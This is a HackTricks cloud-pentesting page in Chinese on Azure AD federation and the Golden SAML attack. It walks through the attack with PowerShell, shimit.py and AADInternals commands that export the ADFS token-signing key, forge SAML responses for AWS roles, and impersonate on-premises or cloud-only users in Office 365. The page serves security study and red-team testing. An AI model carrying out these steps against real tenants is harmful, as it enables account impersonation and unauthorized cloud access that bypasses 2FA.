Az - Federation

支持 HackTricks

基本信息

来自文档:Federation 是一组建立了 信任。信任的级别可能有所不同,但通常包括 认证,几乎总是包括 授权。一个典型的 Federation 可能包括多个组织,这些组织为共享访问一组资源建立了信任。

你可以将 本地环境Azure AD 联邦,并使用此联邦进行认证和授权。这种登录方法确保所有用户 认证都在本地进行。这种方法允许管理员实施更严格的访问控制。可以使用 AD FS 和 PingFederate 进行联邦。

基本上,在 Federation 中,所有 认证 都在 本地 环境中进行,用户在所有受信环境中体验 SSO。因此,用户可以使用他们的 本地凭据 访问 应用程序。

Security Assertion Markup Language (SAML) 用于在提供者之间 交换 所有的认证和授权 信息

在任何联邦设置中,有三方:

  • 用户或客户端

  • 身份提供者 (IdP)

  • 服务提供者 (SP)

(图片来自 https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. 最初,用户访问一个应用程序(服务提供者或 SP,例如 AWS 控制台或 vSphere web 客户端)。这一步可能会被绕过,直接将客户端引导到 IdP(身份提供者),具体取决于具体实现。

  2. 随后,SP 确定适当的 IdP(例如 AD FS, Okta)进行用户认证。然后它创建一个 SAML(安全断言标记语言)AuthnRequest 并将客户端重定向到选定的 IdP。

  3. IdP 接管,认证用户。认证后,IdP 生成一个 SAMLResponse 并通过用户将其转发给 SP。

  4. 最后,SP 评估 SAMLResponse。如果验证成功,意味着与 IdP 存在信任关系,用户将被授予访问权限。这标志着登录过程的完成,用户可以使用该服务。

如果你想了解更多关于 SAML 认证和常见攻击,请访问:

横向移动

  • AD FS 是一种基于声明的身份模型。

  • "..声明只是关于用户的陈述(例如,姓名、身份、组),主要用于授权访问位于互联网任何地方的基于声明的应用程序。"

  • 用户的声明写在 SAML 令牌中,并由 IdP 签名以提供机密性。

  • 用户通过 ImmutableID 识别。它是全局唯一的,存储在 Azure AD 中。

  • ImmutableID 存储在本地作为用户的 ms-DS-ConsistencyGuid,或可以从用户的 GUID 派生。

Golden SAML 攻击:

Golden SAML

身份提供者 (IdP) 生成 SAMLResponse 以授权用户登录的过程至关重要。根据 IdP 的具体实现,响应 可能会使用 IdP 的私钥 签名加密。此过程使 服务提供者 (SP) 能够确认 SAMLResponse 的真实性,确保它确实是由受信任的 IdP 发出的。

可以与 golden ticket 攻击 类比,其中用于认证用户身份和权限的密钥(golden ticket 的 KRBTGT,golden SAML 的令牌签名私钥)可以被操纵以 伪造认证对象(TGT 或 SAMLResponse)。这允许冒充任何用户,授予对 SP 的未授权访问。

Golden SAML 具有某些优势:

  • 它们可以 远程创建,无需成为相关域或联邦的一部分。

  • 即使启用了 双因素认证 (2FA),它们仍然有效。

  • 令牌签名 私钥不会自动更新

  • 更改用户密码不会使已生成的 SAML 失效

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) 是一种 Microsoft 服务,促进了受信业务伙伴(联邦)之间 身份信息的安全交换。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。

由于 AWS 信任被泄露的域(在联邦中),此漏洞可以被利用以潜在地 获取 AWS 环境中的任何权限。此攻击需要 用于签署 SAML 对象的私钥,类似于 golden ticket 攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。

执行 golden SAML 攻击的要求包括:

  • 令牌签名私钥

  • IdP 公共证书

  • IdP 名称

  • 角色名称(要假设的角色)

  • 域\用户名

  • AWS 中的角色会话名称

  • Amazon 账户 ID

只有加粗的项目是必需的。其他可以根据需要填写。

要获取 私钥,需要访问 AD FS 用户帐户。从那里,可以使用 mimikatz 等工具从个人存储中 导出私钥。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保你以 ADFS 用户身份登录:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

有了所有信息,可以使用 shimit 伪造一个有效的 SAMLResponse 作为你想要冒充的用户**:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

本地 -> 云

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

也可以创建仅云用户的ImmutableID并冒充他们

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

参考资料

支持 HackTricks

Last updated